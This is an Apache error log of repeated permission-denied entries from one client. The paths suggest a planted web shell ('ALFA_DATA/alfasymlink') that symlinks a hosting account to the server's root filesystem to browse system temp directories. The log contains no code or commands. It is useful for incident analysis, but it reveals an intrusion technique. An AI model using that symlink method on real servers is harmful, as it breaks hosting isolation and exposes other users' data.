[Sun Oct 25 14:24:01.178862 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/S6oGysmQfR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/S6oGysmQfR/' is executable
[Sun Oct 25 14:24:01.178884 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/ssmTYfkWmO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/ssmTYfkWmO/' is executable
[Sun Oct 25 14:24:01.178898 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/9Hdweni0LQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/9Hdweni0LQ/' is executable
[Sun Oct 25 14:24:01.178911 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/ZS9bRKE_ln/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/ZS9bRKE_ln/' is executable
[Sun Oct 25 14:24:01.178948 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/TI_LDuVRZp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/TI_LDuVRZp/' is executable
[Sun Oct 25 14:24:01.178972 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/HRDPmHzdRv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/HRDPmHzdRv/' is executable
[Sun Oct 25 14:24:01.178996 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/WJiRaJProP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/WJiRaJProP/' is executable
[Sun Oct 25 14:24:01.179022 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/VWx0oIa_ha/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/VWx0oIa_ha/' is executable
[Sun Oct 25 14:24:01.179041 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-ZhRwWT/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-ZhRwWT/' is executable
[Sun Oct 25 14:24:01.179055 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/pulse-PKdhtXMmr18n/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/pulse-PKdhtXMmr18n/' is executable
[Sun Oct 25 14:24:01.179068 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/xim55mZdmP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/xim55mZdmP/' is executable
[Sun Oct 25 14:24:01.179110 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/3RwJFJrH4V/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/3RwJFJrH4V/' is executable
[Sun Oct 25 14:24:01.179126 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/6mRamnU6vq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/6mRamnU6vq/' is executable
[Sun Oct 25 14:24:01.179155 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-q3gB5i/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-q3gB5i/' is executable
[Sun Oct 25 14:24:01.179169 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/QY6TdlpePz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/QY6TdlpePz/' is executable
[Sun Oct 25 14:24:01.179208 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/5EdmaNv2PN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/5EdmaNv2PN/' is executable
[Sun Oct 25 14:24:01.179231 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-MpBBHk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-MpBBHk/' is executable
[Sun Oct 25 14:24:01.179289 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/5f_1VQEffJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/5f_1VQEffJ/' is executable
[Sun Oct 25 14:24:01.179305 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/yrMznD9gyg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/yrMznD9gyg/' is executable
[Sun Oct 25 14:24:01.179325 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/i3jxbRrWaA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/i3jxbRrWaA/' is executable
[Sun Oct 25 14:24:01.179338 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/dNfJKz5yvg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/dNfJKz5yvg/' is executable
[Sun Oct 25 14:24:01.179351 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/TI2qwhbKGu/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/TI2qwhbKGu/' is executable
[Sun Oct 25 14:24:01.179377 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/hPKEt7w1PK/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/hPKEt7w1PK/' is executable
[Sun Oct 25 14:24:01.179392 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-6JeWhp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-6JeWhp/' is executable
[Sun Oct 25 14:24:01.179405 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/C3vvDGRpTf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/C3vvDGRpTf/' is executable
[Sun Oct 25 14:24:01.179417 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/eTa7v46lM5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/eTa7v46lM5/' is executable
[Sun Oct 25 14:24:01.179442 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/oFkHjdAXTr/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/oFkHjdAXTr/' is executable
[Sun Oct 25 14:24:01.179461 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/o1Nn2aP6r8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/o1Nn2aP6r8/' is executable
[Sun Oct 25 14:24:01.179492 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/kEKIbVJwbS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/kEKIbVJwbS/' is executable
[Sun Oct 25 14:24:01.179539 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/xC1whEdMkq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/xC1whEdMkq/' is executable
[Sun Oct 25 14:24:01.179562 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/9fqABosYmc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/9fqABosYmc/' is executable
[Sun Oct 25 14:24:01.179623 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/lost+found/' is executable
[Sun Oct 25 14:24:01.179656 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/_caOxgALx2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/_caOxgALx2/' is executable
[Sun Oct 25 14:24:01.179718 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/pN3AQhlNgj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/pN3AQhlNgj/' is executable
[Sun Oct 25 14:24:01.179735 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/PsRo7Bsa_S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/PsRo7Bsa_S/' is executable
[Sun Oct 25 14:24:01.179751 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-mPfqIM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-mPfqIM/' is executable
[Sun Oct 25 14:24:01.179773 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/OwP99dXZ_b/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/OwP99dXZ_b/' is executable
[Sun Oct 25 14:24:01.179786 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/H3T3qe0a6L/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/H3T3qe0a6L/' is executable
[Sun Oct 25 14:24:01.179823 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/BQ13T2xrrG/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/BQ13T2xrrG/' is executable
[Sun Oct 25 14:24:01.179853 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/XZqhtmoMNN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/XZqhtmoMNN/' is executable
[Sun Oct 25 14:24:01.179883 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/xCPByHeGOe/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/xCPByHeGOe/' is executable
[Sun Oct 25 14:24:01.179905 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/m5eQaqt7WO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/m5eQaqt7WO/' is executable
[Sun Oct 25 14:24:01.179954 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/cHkKHvtb84/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/cHkKHvtb84/' is executable
[Sun Oct 25 14:24:01.179992 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-jU4lmI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-jU4lmI/' is executable
[Sun Oct 25 14:24:01.180014 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/lpa8ZwaWTY/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/lpa8ZwaWTY/' is executable
[Sun Oct 25 14:24:01.180030 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-ZhbUNd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-ZhbUNd/' is executable
[Sun Oct 25 14:24:01.180052 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Ild61SlCM8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Ild61SlCM8/' is executable
[Sun Oct 25 14:24:01.180066 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/oMgCKKTHTN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/oMgCKKTHTN/' is executable
[Sun Oct 25 14:24:01.180085 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/zFtYW8EbIo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/zFtYW8EbIo/' is executable
[Sun Oct 25 14:24:01.180106 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/U8bmWQiMp6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/U8bmWQiMp6/' is executable
[Sun Oct 25 14:24:01.180119 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Iq7IAhBBCA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Iq7IAhBBCA/' is executable
[Sun Oct 25 14:24:01.180131 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/b3IROGlFVp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/b3IROGlFVp/' is executable
[Sun Oct 25 14:24:01.180156 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/3tecYTyNge/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/3tecYTyNge/' is executable
[Sun Oct 25 14:24:01.180170 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/GC947gwA7a/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/GC947gwA7a/' is executable
[Sun Oct 25 14:24:01.180228 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-mqjOkx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-mqjOkx/' is executable
[Sun Oct 25 14:24:01.180244 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/IDKGG9qSVX/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/IDKGG9qSVX/' is executable
[Sun Oct 25 14:24:01.180272 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/yIE1_o1ryC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/yIE1_o1ryC/' is executable
[Sun Oct 25 14:24:01.180292 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/pSZX5IDLqg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/pSZX5IDLqg/' is executable
[Sun Oct 25 14:24:01.180309 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/o3jCljYMJM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/o3jCljYMJM/' is executable
[Sun Oct 25 14:24:01.180327 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/9rc35X03xH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/9rc35X03xH/' is executable
[Sun Oct 25 14:24:01.180348 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/_UC3eRcjzH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/_UC3eRcjzH/' is executable
[Sun Oct 25 14:24:01.180364 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-E4Si3D/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-E4Si3D/' is executable
[Sun Oct 25 14:24:01.180378 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-ZaH2Al/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-ZaH2Al/' is executable
[Sun Oct 25 14:24:01.180399 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/bYpoGDqHwv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/bYpoGDqHwv/' is executable
[Sun Oct 25 14:24:01.180415 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/WGtLrvNEoO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/WGtLrvNEoO/' is executable
[Sun Oct 25 14:24:01.180428 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/KPaWqZiNSx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/KPaWqZiNSx/' is executable
[Sun Oct 25 14:24:01.180460 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-QEzZ3O/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-QEzZ3O/' is executable
